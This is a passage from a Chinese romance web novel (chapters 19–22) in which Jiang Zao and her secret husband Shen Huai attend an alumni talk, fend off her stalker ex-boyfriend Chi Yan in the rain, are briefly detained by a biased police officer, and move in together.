沈淮就这么听着,不时应几句。直到身边工作人员催促,才匆匆结束这场叙旧。
她往木椅上坐下,摆摆手道:“路你已经很熟了,就不用我带她了,你自己带她回去吧。”
“啊?”
“嗯。”
由不得她犹豫,下一秒沈淮已经朝外打开了伞,伸手示意她过来。
姜早想打开自己的伞,但想到后面还有两个人在看,刚刚沈淮又坦白了自己是他太太,如果在这种情况下拒绝他的邀请,自己撑一把伞,那未免也太过奇怪。
想罢,她钻进沈淮的伞里。
雨夜,总是森冷的。
她一路斟酌着该如何开口,缓解这一路的尴尬。
沈淮先开口道:“刚刚那位是在小时候很照顾我的伯伯,你放心他不会乱说的。”
姜早哑然,这话说的和她单方面不要公开一样。她轻轻嗯了一声,终究没反驳。
沈淮问:“你是不是想问我什么。”
姜早想说是,开口时却只说:“没有。”她自然是好奇,那段关于他的童年,只是这是他的私事,她又有什么身份去揭开呢。
沈淮举着伞,漫不经心地开口:“其实没什么,只是讲这这些,像讲很长一段故事,我没讲给别人听过,我不知道你有没有耐心听完。”
姜早感觉到他的情绪,轻轻地、认真道:“你愿意说,我就愿意听。”
沈淮低头,望着地上的石子路,亦如往昔,杂草丛飞。
记忆中的父母永远在争吵,也永远冷冰冰。他曾抱着玩具熊站在父母的房门口,听他们要怎么放弃他。那扇半敞开的门
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,也曾一度成为他童年的阴影。
“我的父母并不相爱,他们是家族联姻在一起的,在此之前他们甚至都有相爱很久的人。就算是生下了我,他们也从未喜欢过我。”
“在我不知道这些事之前,我天真的以为,父母对我的冷漠,一切都来自于我不够优秀。后来我知道了原有,仍旧固执的想,只要他们不分开,是我的父母就够了。”
“直到阿姨说漏嘴,她说我母亲恨我,我的出生让她真正喜欢的人跳了河,永远死在了那个夏天,也是那时候我才知道,她每个月出门一次,都是为那个男人扫墓。”
那时他没有完全相信,因为他觉得眼见为实。在母亲外出那一天,他偷偷骑了一辆自行车一路尾随。结果跟到了墓地,那时他就信了。
可是他还是没离开,因为他想看看,母亲爱一个人到底是怎么样的。
直到他看到母亲在那墓前又哭又笑,才知道,原来母亲爱一个人,是这个样子的。
他在那个家这么多年,母亲一直很冷漠,对他的课业也是莫不关心,只有在他生病的时候才会有一点情绪波动,可惜,更多的也只是生气和不耐烦。
沈淮望着月亮:“后来她得了抑郁症,吃药死了,遗书说要和她爱人葬在一起,只字未提我。”他苦笑,“我不是不想去看她,也从未怨恨她,只是怕她...”
他低头呢喃:“不想见我。”
半大的孩子,与她乞讨一颗糖,她坐在椅子上,用一种十分复杂的眼神看着他,最后扇了他一巴掌,让他别出现在她面前。
是何等厌恶呢。
姜早脚步慢下来,最后直接挡在他面前。
“对不起沈淮,我不太会安慰人。”姜早从口袋里掏出一颗糖,认真地递过去,“小时候我心情不好,就喜欢吃糖,嘴里变甜的了,心就不会那么苦了,你试试!”
-
“喂,你这个大人好坏,怎么能打小朋友,我不许你打他!”
“喂...你还好吗?”
“你叫什么名字啊,不说也没关系。”
“你是不是心情不好啊?我知道你心情不好,我也经常这样,心情不好就不说话。”
“对不起啊,我不太会安慰人。你喜不喜欢吃糖?我心情不好,就喜欢吃糖,嘴里变甜了,心就不会那么苦了,你试试!”
记忆重合,一模一样。
墨色的眸子颤了又颤,沉默片刻,沈淮问:“姜早,你来过这里吗?”
“来过一次,不过是很早之前的事情了,怎么突然这么问?”姜早看着他,不解其意。
沈淮接过她手里的糖,拨开糖纸放到嘴里,唇角微微勾起。
甜意四散,嘴里只有甜味,将所有的苦都驱散了。
姜早看着他慢慢俯身到她耳边,慢慢地,一字一句地说话。
“谢谢,安慰的很好。”
那天,晚风戚戚。有一个人把他护在身后,认真地问他是不是心情不好,给过他一颗甜糖,擦拭他的眼泪,用尽耐心和他说话。含在嘴里的糖是酸的,却是他短短十年人生中,尝到过唯一的甜。
20. 第 20 章
坐上车后,姜早先去了机构,上完课,又熬着练了很久的技巧训练,很晚才回去。
躺在床上的时候,她竟然一点困意都没有。
脑海中时不时能浮现出沈淮那张脸靠近的模样。
心跳不自觉加快。
她望着天花板,突然发闷。
这种感觉,到底是什么?
她想了一夜,迷迷糊糊的睡着了。
次日她在舞房里翻练技巧,一声手机震动,她拿起来看了一眼。
是论坛的最新推送。
自从上次把论坛下了之后,她一直没卸载过,再次打开的时候不知道为什么界面好像变了。
姜早没多想,点开了那条推送。
显示页面后,她看着词条上标题名字,微怔。
沈淮、江婷二人今天下午作为优秀校友回校做演讲。
她指尖轻轻滑动,往下。
评论里,所有人都在欢呼雀跃,金童玉女这四个字又被大家提起。
姜早盖上手机,仰头望天。
她差点忘了。
沈淮从来都是月亮,与他般配,是与他同样发光的人。
“我不是。”
她平静的出声,没有半点犹豫。
她是土壤里,平庸的一朵花,一根早,是混入这千千万种的其中之一。
也仅此而已。
好在校长说她这段时间不用去学校,不用去亲眼见证这两人多么般配。
从前她可是心平气和的说般配,如今作为他的太太,再去附和,怎么都有点变了味。
手机叮叮咚咚好几声,一听就知道是木奈奈发来的信息。
“姜早!沈淮和江婷回国了!哇哇!我磕的cp还有后续,下午的优秀校友演讲,你陪我一起去!”
“不去。”
姜早按下发送键没多久,一个电话便打了过来。
听筒里,不难听出木奈奈的激动:“你陪我去嘛!你就当去听听学霸们的成功经验怎么样!”
姜早拒绝道:“我不想...”
木奈奈耍赖道:“我不管!这可是我磕cp千载难逢的机会,你必须陪我去!好了,不说了,我一会就来机构接你,你先准备准备吧!”
话语落下,电话立刻只剩一阵忙音。
姜早双手盖住脸,叹了一口气。
她该怎么告诉木奈奈,现在沈淮的太太,误打误撞变成了她呢。
她了解木奈奈的性子,既然这么说了,一会儿肯定就能出现在这里。
这趟非去不可了。
只要坐的位置靠后一点,应该没什么关系吧,反正也轮不上她什么事。
半个小时后,坐上木奈奈的车,木奈奈果然很喜欢沈淮和江婷两个人,一路上都在分享关于他们两个的事情。
也不知道木奈奈从哪里得知。
江家和沈家从很早开始就是世交,沈淮和江婷被起哄不是从学校开始,而是很小的时候就开始了。
他们都是年轻一辈中,相当卓越的小辈。和其他小辈不同,他们两个从小就在商业上展现出超高的悟性,自小就开始跟随父母出席商务,出面各种酒局,从小就能淡定的掌握各种局面。
他们的父母自然也知道这些传言,经常会有意的安排两人在一起,很早之前还商量过娃娃亲。
圈中都说,他们是天造地设的一对,这两个小孩儿结婚也不过是早晚的问题。
听到这里,姜早按下车窗。徐徐的风吹进来,模糊了木奈奈的部分声音。
她闭了很久的眼,再次睁开,叹了口气。
恰是红绿灯。
旁边的迈巴赫开着车窗。
姜早侧头,微怔。
敞开的车窗里,沈淮和一个女生并排而坐。
那女生孜孜不倦的说话,而他轻勾唇,静静地听她说话。这画面,和谐的仿佛一张画。
原来,他会笑。
印象中,他永远对什么事都漠不关心,甚至很少有情绪的表露。原来,只是对她而已。
对喜欢的人,是不一样的。
木奈奈一直在说话,迟迟不见姜早回应。侧头望过去,就见姜早在看着什么。
“看什么呢,早早。”
车窗里的人眼神挪动。
姜早连忙盖住半边脸,小声道:“没什么。”
木奈奈当然不信,眯着眼睛望过去,一眼就看到了旁边那辆车里的沈淮和江婷,忍不住喊道:“哇!早早!是江婷和沈淮哎!”
姜早盯着红灯,只希望这倒计时赶紧结束。
木奈奈突然捂住嘴巴,右手激动地拍姜早的肩:“早早你快看,他们是不是亲了!”
闻言,姜早没忍住侧头。
车窗里,江婷正歪头挡在沈淮的面前,两人挨得很近,似乎真的在亲吻。
下一秒,绿灯亮起,黑色的迈巴赫往前而去。
看不到了。
姜早望着车窗外,眼神空洞,脑海中一遍遍回放方才看到的画面,就连车什么时候开了,什么时候到了学校,都丝毫没有留意到。
直到木奈奈拍了两下她的肩膀,她才回过神来。
“早早,你不会发烧了吧。”木奈奈解开安全带,伸手去摸她额头。
姜早垂眸,摇头道:“没有,我只是在想,我的硕导这两天没有回我消息。”
闻言,木奈奈道:“不用担心,你这两天请假是校长允许的,你硕导还敢反驳不成?”
姜早没作声。
硕导不会反驳,可他心里肯定会不高兴。上次刚在他面前做下保证,没多久校长就替她请假,这对他而言,是在挑战他。
这确实是她担心的事情,可是方才她并不是在想这件事。
她想的事,不能说罢了。
木奈奈注意到远处被簇拥的两人,边拍姜早的大腿,边开车门道:“快!快!他们已经到了!我们也去看看!”
姜早没拦住已经下车的木奈奈,只能心不甘情不愿的下车。
路边的学生依旧会有朝她投来目光的,只是相比于之前来说,已经少了很多。
也许,他们的注意力,早就被江婷和沈淮吸引光了吧。
她站在路边,围望他们的众星拱月,仿佛是两个世界。
木奈奈一把拽住她往前走:“早早!趁现在人都在外面,我们先进去占位置!等会人多就没
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好位置了。”
姜早几乎被拖着往前走,慌张道:“啊?你要坐前排啊?”
木奈奈边走边道:“当然啦,不然怎么能看清他们的互动呢~我都要拍下来~”
姜早试图抽回手:“我不太想坐前排,我坐后排吧。”
木奈奈顺手揽住她的肩膀,半推着她往前走:“优秀校友分享会,你得多听听,还要听仔细一点,搞不好以后就要由你上台讲了。”
“哎!姜早学姐,你也在这啊。”身边有人突然朝她们凑过来。
木奈奈打量了那人一眼:“你谁啊?”
姜早看着他的脸,有些脸熟,很快回忆起来,那次在树下,给她拍照的男生:“向北辰?”
向北辰欣喜道:“学姐!你还记得我!”
“哦~你们认识啊~”木奈奈的眼神飞快地再两人之间转了一圈,“我突然想起我有个朋友在里面,你们不用管我,我先去了!”
身高气质不错,面相佳,是个良配!她可不能耽误这段姻缘!
“哎?”姜早疑惑的开口,木奈奈已经如开弓的箭一样跑走了。
应该有什么误会,不过也算是个好事,至少不用坐前排了。她松了口气,边慢慢地走,边和旁边人道:“你也来看这个分享会吗?”
向北辰晃了晃手里的相机:“学校派我过来拍照。”
姜早点点头:“那你拍照技术一定很好。”
向北辰颇为不好意思:“还行吧,很好算不上,但在学校里排第一还是可以的。”
没反应过来他这种自夸,姜早愣了一会,有些不知道聊什么,开始没话找话:“你摄影技术这么好,是从小就练吗?”
向北辰颇为不在意道:“当然不是,我小时候最讨厌拍照了。”
姜早惊了一下:“那你为什么会选择摄影这个专业?”
这一问,向北辰沉默了一会,低眸了很久,再次抬眸,轻笑道:“因为一个人,突然喜欢了。”
姜早点点头,轻笑道:“那一定是对你很重要的人吧。”
向北辰望着她明媚的笑容,恍惚了一会儿,也笑:“嗯,很重要。”
恍恍惚惚,回到那年夏天。
一个署名叫姜早的人,有些哀怨的吐槽,这几年参加舞蹈比赛,摄影师抓拍的照片,一点也不好看。
在挤在人群当中的沈淮,轻轻侧眸,正看到那道熟悉的身影,她身边还站着一个男生,两人相谈甚欢。
江婷注意到他眼神变化,拍了拍他的肩:“怎么了?”
“没什么。”沈淮道。
连他自己都没注意到,自己的眉头不自觉地蹙起。
江婷顺着他的目光望过去,正看到台阶上明媚的一对男女。
这似乎,是她从他身上,从未见过的眼神。
分享会开始,主持人穿着一身爱马仕纯白色礼服,铺垫着后面要来的嘉宾。下面的观众早就忍不住喊出了那两人的名字,主持人也不再多说,伸手请出第一位来宾。
“欢迎我们的江大校友,海归博士,沈淮学长!大家欢迎!”
在聚光灯和掌声中,沈淮缓步上台。
“大家好,我是沈淮。”
21. 第 21 章
他淡定的站在话筒前,叙述着这些年在校外的经历,以及自己所带领的技术团队在国际上所获得的奖项。
光芒这个词,好像为他量身打造。他只要站在那里,所有人的目光都会被他夺走。
姜早也忍不住被那道光晃了眼。
突然一只手戳了戳她的肩膀。
她侧头望过去。
向北辰指了指右手的拳心。
手掌打开。
是一颗红色爱心包装的糖果。
姜早抬眸,正撞上他笑盈盈的目光。
向北辰晃了晃手里的糖果:“吃颗糖吧,糖吃完了,就结束了。”
姜早接过糖,笑道:“大摄影师怎么不去拍照,跑来给我送糖?”
向北辰双手交叉抱着手臂,扬起下巴:“我这是相机,不是录像机,素材够了就行了,不用全程盯着台上。”
一侧,台上。
沈淮声音顿了顿,眸色肉眼不可查的黯了黯。
“我的分享就到这里,谢谢大家。”
他鞠躬退场,台下掌声如雷。
“怎么这么突然!学姐,我要去忙了,一会儿再来找你。”向北辰抓起相机,匆匆离开。
“好。”姜早点头,拿起手机。木奈奈给她发了很多消息,还没来得及点开来看。
也不知道她误会了什么,拍了一张向北辰和她刚刚说话的照片,还发了好几个眯着眼睛的表情包。
姜早无奈的戳了几个表情包发过去,否认这则谣言。
再抬头,主持人刚说完词,要请出下一位来宾。
掌声雷动,却迟迟不见下一位来宾到台上。
正在大家讨论之际,后台遮帘被人撩起,江婷扶着沈淮款款而来。
聚光灯打在两人身上,仿佛天造地设的一对。黑色西装与华丽礼服,既般配又耀眼夺目。
台下人有人起哄,还有人拿出手机拍照,以为他们要官宣。
江婷走到话筒边:“大家好,我是江大01级校友,江婷。”
等到掌声停下来,她才再次开口:“说来也有点糗,我不怎么穿高跟鞋,刚刚在后台想练练高跟鞋走路,不小心崴了脚,还好后台有人,不然大家就见不到我了。”
她说的诙谐,台下众人都被逗乐了。
江婷凑到沈淮耳边道:“你先下去吧,一会儿我说完了,你再扶我下去。”
他们凑得很近,台下看来暧昧无比。
台下到处是起哄声。
江婷嘴角轻勾。
沈淮往后退了一步,轻轻蹙眉后离开。
江婷捏住话筒,笑意温和地开口:“一点小插曲,大家不要在意。很高兴能接到江大的邀请来做这场校友分享会,这几年我在国外创办了一家公司,拿到了一些不错的成绩,正好借此机会同大家分享一些我的经历。”
所有人安静下来,听她叙述自己的经历。
她十分独立和大胆,在海外第一年就抓住风口,自己创办了两家企业。
姜早听得恍惚。
江婷也很耀眼,耀眼到感觉只能看到她纯白色的礼服,她也在冒着闪光,和沈淮一样,旗鼓相当。
她从口袋里掏出糖,剥开放入嘴里。
草莓味的,很甜。
口袋里的手机一直不停的震动,她不拿出来看都知道,是木奈奈发来的信息。
和向北辰说的一样,直到嘴里的糖彻底消失在嘴里,这场会议就结束了。
向北辰拎着相机走过来,看她要走,便匆忙追上问:“马上要中午了,要一起出去吃饭吗?”
姜早摇头:“不了,我晚上还要去兼职。”
向北辰道:“在哪里?我送你过去吧。”
姜早侧过脸看他:“大摄影师这么闲?”
向北辰别扭地挠头:“送你一趟而已,又不耽误时间。”
姜早微怔,这不依不饶的态度,让她想起了一个笔友。不过那个笔友是个外国人,只是性格相像罢了。
“没事,我已经叫车了。”她指了指手机。
其实她没有叫车,只是她没有麻烦别人这种习惯。
向北辰耸肩:“好吧~下次再见,请你吃饭。”
“好,一定。”姜早挥了挥手,没再停留,离开了。
向北辰双手插兜,黑眸静静地望着那道背影,直至背影消失才收回目光。
他轻叹了一口气,提起脖子上挂的相机。
相机里,姜早正剥开他给的糖。
...
姜早从场馆出去,就见沈淮的车停靠在路边。
她故意装作没看见,想要径直从车旁走过。
正在与车擦肩而过时,她的手机铃恰好响起。
“上车。”电话里的人说。
场馆散场了,周围人不是很多,没什么人注意这辆黑车和她。
但姜早吃过亏,想也没想就说:“我已经打车了。”
后车窗落下,一个小脑袋钻了出来,朝她招手:“姜姜老师~我来接你啦~”
姜早想起,今天晚上机构的课,就是小苹果班的。她搭他们的车,正好可以顺路,也不算麻烦他们,便道了声好。伸手试图拉后车门的时候,突然发觉后车门拉不开。
正疑惑,电话里的人突然出声。
“前面。”
......
姜早在副驾驶坐下,才发现今天是沈淮开的车。
“后座堆了太多零食,你坐不下。”沈淮说。
姜早意识到他在为刚刚说的话解释,嗯了一声,侧头看果然小苹果座位的旁边堆满了零食。
她问:“苹果怎么来这里了?”
“妈妈今天很忙,就让哥哥带我去上课。”小苹果盘腿躺在后面,一脸惬意,“姜姜老师怎么出来的这么慢,哥哥都等你好久了。”
“等我?”姜早默念了一遍这句话。
沈淮没应她,提醒道:“系安全带。”
姜早被引开注意力,低头开始找安全带,下一秒旁边的安全带被解开,一道身影越过来。
他们挨地很近,炽热的呼吸几乎交织在一起。
姜早往后缩了缩,指尖攥紧。
下一秒安全带的卡扣咔哒一声。
她低眸,原来是在帮她系安全带。
等到车扬长而去,一道身影才慢慢从树后走出来。
她凌厉的目光扫视着那辆车,丝毫没有方才在台上那般落落大方的模样。
夜幕漆黑。
姜早上完课,拎着鼓棒走出来。
老板热情地给她递来奶茶,慷慨道:“辛苦了姜老师~”
姜早往回推:“太晚了,喝了容易睡不着。”
老板哦了一声,只好把奶茶收回来,他还凑过来小声道:“姜老师,你不是还没男朋友吗?刚刚我在门口看到了一个长得不错的帅哥,你猜是谁,就是小苹果的哥哥!要不要我帮忙给你们牵线搭桥呀~”
姜早双手合十:“不必。”
果然,以沈淮的样貌,走哪里都万众瞩目,还好,她刚刚比他们先走一步。
老板抱着奶茶,打了个响指:“另一件事,我们店要搬迁了,换一个更大的地方,这两周你可以休息一段时间,家长群的通知我已经发下去了。”
印象中,老板总想搬迁到一个有落地窗的地方,碍于资金不够,一直只是嘴上说说而已,这会儿突然这么豪气的说要搬迁,上哪里来这么大一笔资金...除非...
姜早凑过去问:“苹果的私教到底买了多少?”
老板心虚的缩了缩脖子:“哎呀,外面好像下雨了,我去关个窗户。”
看着那道落荒而逃的背影,姜早不禁开始担心,自己是不是被卖了一辈子。
雨滴砸在窗户上,滴滴答答,确实是下雨的声音。
姜早看了看独自坐在休息区的小苹果,想了想还是给沈淮打了个电话。
电话很快就通了,里面是一阵电玩城的声音。
姜早心疑,问:“你在哪里?”
沈淮转移话题:“怎么了?”
姜早扶额:“苹果下课了,你怎么没来接她。”
沈淮哦了两声:“那我现在过来接你们。”
姜早听到你们两个字,突然有些别扭,想了想道:“算了,你先去车库把车开出来吧,我和苹果在商场出口等你。”
沈淮嗯了一声,挂断电话。
他蹙眉看着这台娃娃机,框里的币早就用完了。
一旁瑟瑟发抖地员工上前问:“要不送您一个吧。”毕竟,刚刚这位先生付的钱,已经够买下这台娃娃机了...
话语落下,正对上沈淮阴霾的眼神,店员突然有些后悔自己说的话。
正在她打算尬笑两声往后退的时候,那人突然叹了口气。
“好,我要最里面那个,谢谢。”
店员:“...没事,我这就给您拿。”
他很少用恐怖来形容帅哥,但是这个帅哥做到了...
十分钟过后,姜早看着副驾驶上的娃娃,问:“这个你从哪里来的?”
沈淮调转方向盘的手微顿:“路上有人发的。”
姜早双手捧着娃娃,左右看了看:“和上次民政局那只一样哎。”
沈淮嘴角不着痕迹地轻勾。
小苹果闻言,朝前伸手:“给我看看!给我看看!”
姜早侧头,就要把手里的娃娃递过去。一只手突然攥住她的手腕,无奈道:“给你的,你别给她,给她就要不回来了。”
姜早任由他把自己的手放回膝盖,有些怔神的看着手里的玩偶。
小苹果撅起嘴巴:“哥哥是小气鬼!哥哥是小气鬼!”
沈淮冷冰冰的眸子扫过去:“家里这么多玩具还不够你玩?”
小苹果顿时禁声,只敢偏头对着窗户小声说话。
“去哪?”沈淮侧头问。
姜早道:“先送我回去吧,车上的导航应该有这个地址。”
沈淮点头:“嗯。”
车辆开始行驶,小苹果扒拉着前座椅,探头道:“咦,妈妈说你们已经偷偷结婚了,哥哥和姜姜老师怎么不住在一起?结婚的大人不都是住在一起,睡在一张床上的吗?”
车里空气凝固的像冰,回答小苹果的只有外面清脆的雨声。
小苹果缩回后面,撕开袋子里的一包薯片,张嘴开始吃。
大人怎么到晚上都不喜欢说话。
薯片还是原味的好吃。
她舔了舔手指上的薯片屑。
美味!
正拎着公务包往外走的四十五岁机构老板,眯着眼睛看那敞开车窗里的人。
“这人...怎么...”他摸了摸下巴,“怎么这么像姜老师啊?”
他举着伞走到摩托车前,掏出雨披披在身上,用纸巾擦了擦车上的水,眼神还停留在那车尾巴上。
等到看清那车标是迈巴赫,他才收回母刚,才碎碎念着坐上座椅:“嘶,不可能是姜老师。”
...
下车的时候,姜早接过沈淮递来的雨伞,指尖无意的触碰,让两人的目
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光措不及防的对上。
姜早往上捏了捏,轻轻道:“谢谢。”
沈淮点头:“路上小心。”
直到车离开,姜早仍站在原地,伞下的她,愣神地看着手里的娃娃。
她有点糊涂了,竟然有一刻觉得沈淮喜欢上了自己。
恍惚后,又自责自己的自作多情,明明他也说了,是路上有人发,随便接的。
夜晚总是安静的,让人忍不住在安静的世界中多几分不真切的遐想。
姜早苦涩一笑,手里的娃娃却抱得很紧。
在无人注意中,一道身影从路灯后走出来,路灯下的影子越来越长,伴随着一阵脚踩水坑的脚步声。
姜早正往小区门口去,看着地上的影子,她一开始没注意,直到那影子越来越近,她不由得往旁看了一眼,随即浑身一震。
“好久不见啊,早早。”迟言懒散的开口。
他没有撑伞,眼中腥红,却是在笑,浑身湿透着朝她逼近。
“你怎么在这里?”姜早蹙眉,边说边往后退。
“当然是想你了啊,早早,我忘不掉你。今天这个娃娃真可爱,是车里的那个男人送你的吗?”迟言笑着,一步步往前走。
“你这个疯子。”姜早背身打算跑,一只手猛地攥住她的手腕,姜早惊恐的回眸。
迟言借着力气,将她拽进怀里,搂住她的腰,懒散道:“早早,刚刚送你回来的那个男人是谁?”
姜早无论如何都逃不脱他的束缚,只能将手抵在他胸前:“你到底要做什么!”
迟言轻笑了一声,只是在这个雨夜里,这声笑变得有些古怪,他语气慢慢道:“早早,你知道我在这里等了你多久吗?整整四个小时!结果居然看到一个男人送你回来,你的心变得可真快,是不是干你们这行的心都变得这么快啊。”
他凑近姜早的耳边:“早早,可我的信还在你这里,你也看看我好不好,我比他有钱,我能给你更多。”
姜早趁着这个间隙,猛地推开他,跑到路边捡起一个砖对着他。
“你别过来!”她手抖的不像话,浑身冰的打颤。
迟言像是浑然不觉,嘴角仍带着笑意:“早早,你要怎么才能明白我的心意,我是真的爱你。上次你把我送进去的事,我可以全部忘了,我们重新开始好不好。”
啪嗒,一块砖落到他脚边。
他低头,看着水滩里碎掉的砖,笑了。
“你想打我?”迟言站在原地,冷笑,“姜早,你以为你是谁?你值得我为你磨这么久吗?我现在跟你求复合,完全是因为我顾及你的自尊心。”
他讥讽着走近:“我也可以换一种方式,你现在负面新闻缠身,你原来的追求者都对你避而远之,你早就没有任何自尊了不是吗?你可以低声下气地跟别人乞怜,不如跟了我?只有我会惯着你,会哄着你。”
姜早一步步往后退,她不敢跑,怕他直接追过来。
“别再过来了!你再过来我就喊了!”
迟言轻笑,脚步未停:“早早,我还不知道你吗?你的自尊心那么强,怎么愿意在你的小区因为这种事出名呢?”
被戳中的心事,姜早浑身泛凉,比起这些,她确实更在意自己的自尊。
她的呼吸急促而浅薄,仿佛被一只无形的手紧紧扼住咽喉。
恰在此时,一道刹车声响起。
迟言侧头,拿手挡了挡那车灯的光。
沈淮一袭黑衣下车,肃冷的开口:“过来。”
姜早知道这话是对自己说的,趁着迟言晃神,三步跑到沈淮身边。
迟言脚步停下来,脸上挂着的笑意总算垮下来:“你惹我生气了,早早。”
沈淮上前一步,将姜早挡在身后:“你是谁?”
他的眼神只是扫下打量了他一眼,充满不满与不屑。
迟言被惹恼了,他从来没见到有人对他用过这种眼神,一种上位者堵下位者的眼神!他什么时候被这么看过。
他拾起地上刚刚碎掉的砖块,笑着朝他扔过去:“是你爷爷。”
飞跃的弧线,直冲沈淮而来。
沈淮淡定的扫了一眼,伸手刚好抓住飞来的砖,在对面那道惊恐的目光中,反扔了回去。
迟言被砖块打中,倒在了地上。
沈淮睨了他一眼,冷冷道:“准确度一般。”
姜早被眼前着一幕吓到,慌张道:“他没事吧?”
沈淮黑眸中闪过不悦:“你关心他?”
姜早嗓子发干:“不是,我是怕这件事牵连到你。”
沈淮像是毫不在乎:“我不怕被牵连。”
姜早拿出手机要打电话,沈淮攥住她的手腕,道:“放心,我刚刚已经报过警了,这边有监控,我们这算正当防卫。”
见姜早松了口气,他才慢慢放开手。
车灯的光笼罩下,姜早错愕的发现,自己手腕上的血迹,她的视线慌张落下,抓起沈淮的右手。
上面一道长长的口子,正往外冒着血。
沈淮握住手,往回缩:“没事,一点小伤。”
“怎么出血了。”她低声喃喃。
沈淮低眸,正撞入她含水的眸子里。
身体渐渐发软,她往前走了一步,靠在沈淮的胸口,姜早带着哭腔重复了一声:“怎么出血了,沈淮。”
沈淮身体僵了僵。
雨声越来越大,大到可以掩盖姜早的哭声。
沈淮将手伸到她背后,在空中停滞了一会,才慢慢落下。
“好了,没事了。”
22. 第 22 章
这夜的雨下的格外大。
“都怪我。”雨中,她的声音含糊,像混入雨中的呢喃。
周遭静谧片刻,只剩下雨点拍打的声音。
“不怪你。”沈淮轻道。
姜早泪大颗大颗的往外滴,抓住沈淮的手,慌乱道:“我家里有急救箱,我帮你消一下毒。”
“以后这不是你的家了。”沈淮反扣住那只手,认真道,“这里不安全。”
姜早下意识挣脱,对着他的手吹气,好一会才抬眸道:“疼不疼。”
两两相望,那双深邃漆黑的眼眸像是浸染了墨,相凝视时看不到底。
沈淮慢慢弯下腰,为她擦掉眼泪,慢慢的,一字一句清晰道:“姜早,我不疼。”
他说。
姜早,我不疼。
姜早立在原地,那一刻,心跳声鼓跳如雷。
她攥着娃娃的指尖不自觉扣紧。
“搬过来,和我一起住。”她听到他这么说。
她有些乱了,张嘴一时间不知道说什么。
她听到他又说:“苹果到时候会告诉她今天发生的,她如果知道我们婚后还不住在一起,会引她怀疑。”
她侧眸看向那辆黑色的迈巴赫,车窗没有开,但是她知道,里面一定有个脑袋在使劲往外看。
原来,是因为这个。
她轻声开口:“好。”
警车的呼啸声在这个雨夜格外刺耳。
现场被迅速控制起来,一行人被不由分说的带到了警察局。
审讯室是分开的,姜早被提问的时候才意识到他们被当成了袭击方,无论怎么解释,都无法洗清嫌疑。
她蹙眉:“路边有监控,可以直接调监控。”
“刚好坏了。”审讯的警察想也不想道。
姜早眉头蹙的更紧了:“小区门口也有监控,你们...”
警察低头,抠了抠手,不耐烦道:“也坏了。”
姜早在工作中要面对的人很多,对情绪的变化很敏感,这名警察明显就想敷衍了事:“哦,那真巧。”
一阵弱弱的敲门声响起,一个实习生打扮的人进来通报。
“陈警官,有您的电话...”
陈警官叩了叩桌子,侧头不耐烦道:“没看到我审讯呢吗?”
那实习生脸色不太好,看了看姜早又看了卡陈警官,为难道:“很急。”
能够急到打搅审讯的事?
“看好她。”陈警官对着旁边记录员说了一声,随后拿起手里的本子,匆匆离开。
实习生递过手机前,提醒道:“省厅说找你有急事。”
陈警官摆摆手:“我有数。”
他找了个角落,接通电话,立即狗腿道:“厅长好,我是小陈,不好意思刚刚在审讯,耽误了点时间,没立刻接您电话。这么晚打我电话是为了您亲戚家孩子的事吧,您放心,我这边...”
“什么亲戚不亲戚的,陈华荣,我要被你害死了知不知道?你抓人的时候不做个背调吗?你知道抓的人是谁吗?人家姓沈,京都沈氏集团的沈!赶紧,把你抓的那两个人放了!”
陈警官听得冷汗直冒,手差点没拿稳手机:“那迟言那小子...”
电话里的人拍案而起:“这个时候还管他做什么!公事公办!这件事是省厅交代的,办不好,我和你都得下来!”
陈警官挂了电话,朝审讯室冲过去,怎么好好的案子,还和省厅扯上关系了,这可不是开玩笑的。
...
两分钟过后,姜早和沈淮被放出来,原先凶神恶煞的审讯的警官突然变了一副样子,说要亲自开车送他们回去。
姜早回忆起方才,他们被警车接走的时候...
还好没有人看到...不然舆论要传成什么样子,做警车可不是什么好事。
沈淮低头,看了一眼她的表情:“不用了,我们自己回去。”
陈警官见好意没被领,脸上直冒汗,手紧张地搓着:“沈先生、沈太太实在不好意思,也是因为技术人员修复监控太慢,导致对你们产生了一些误解。”
姜早听到这个称呼被外人喊出来,有些不自然。
沈淮脸上倒是没出现什么不一样的情绪,只是开口道:“没事。”
他们临走时,陈警官的脸色还是不好,一直跟在后面,送到门口。
他的不安是对的,第二天他这碗铁饭碗就没了。
夜风戚戚,等到他们去完急诊回家,已经是深夜了。还好沈淮顾虑周全,在来之前就已经打电话给了司机,把小苹果送回去了。
沈淮把她送到卧室后,就去书房办公了。
她呆在屋里,颓然地坐在椅子上,先给木奈奈回了个信息。
微信里,木奈奈发了很多条消息,没具体说是什么事情。
回完消息,寂静的那几秒,她回忆起刚刚去急诊的记忆。医生一个劲的说,家属不要过度担心,让她现在有点不好意思面对沈淮了。
恰在此时,一个电话就打了进来。
木奈奈激动的在电话里喊道:“姜早!江婷学姐举办了一个晚宴邀请我们组的人去了!还说可以带朋友!你一定要陪我去!我太紧张了!”
姜早攥着手机的指尖微微紧了紧:“我就不去了吧...”
木奈奈听都不听便道:“就这样!我们明天宏天商场见!去买衣服!”
姜早还未来得及再回绝,电话已经迅速挂断了。
她将手机盖到床头柜上,轻轻叹了口气,走到窗户边,仰头望着月亮。
去看一看,沈淮真正喜欢的人吗?
她低头,垂挂在两边的手慢慢攥紧。
夜半,她走出卧室,来的时候,已经大致观察过了周围,所以也能摸得清楚周围的路了。
沈淮家是一独栋别墅,很大,只住了他一个人,惨淡的月光从窗户透进来的时候,尽显冰冷。
书房的门开了一角,里面的余光倾斜的照在地上,映出一条暖色的斜线,里面传出一阵敲击键盘的声音。
姜早伸出手要敲门,手临近了门板,滞在半空中又收了回来。
虽然说只是小伤,但终归是因为她受伤的,如今又住在这里,怎么也要知恩图报才行。
今天忙了一个晚上,好像没见到他吃过饭。
姜早转身,一路摸索到了厨房,从厨具的崭新
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程度能看出,这里大概率是没人进来过。
她用看到的食材,煮了一碗清粥,做了两个蛋。
小心翼翼端上去的时候,里面有交谈的声音,似乎在打电话。
她站在门口,没有直接进去。那只碗很烫,刺得指尖发疼发胀。
话音戛然而止时,门突然开了。
突然的光亮使得她浑身一僵,措地抬眸看他,陡然撞进那道墨色的眸里。
“你...你是不是还没吃晚饭,我刚刚随手做了一点,你吃一点吧。”
“好。”沈淮勾唇,伸手作势要接过。
下一秒那只手往回缩了缩,然后越过他往里走。
小小的声音,仓促着说:“太烫了,你的手不方便拿,还是我来拿进去吧。”
她把碗放下,忍不住甩甩手散热。
刚煮好的粥,真的好烫。
沈淮凝视着那只手,微微蹙眉。
姜早侧头,看他神情,默不作声将手往后放了放。
认真道:“医生说,你要多补充营养,这样才能有助于修复,还有,你喝完就可以睡了,这么晚别再工作了,医生说你要注意休息。”
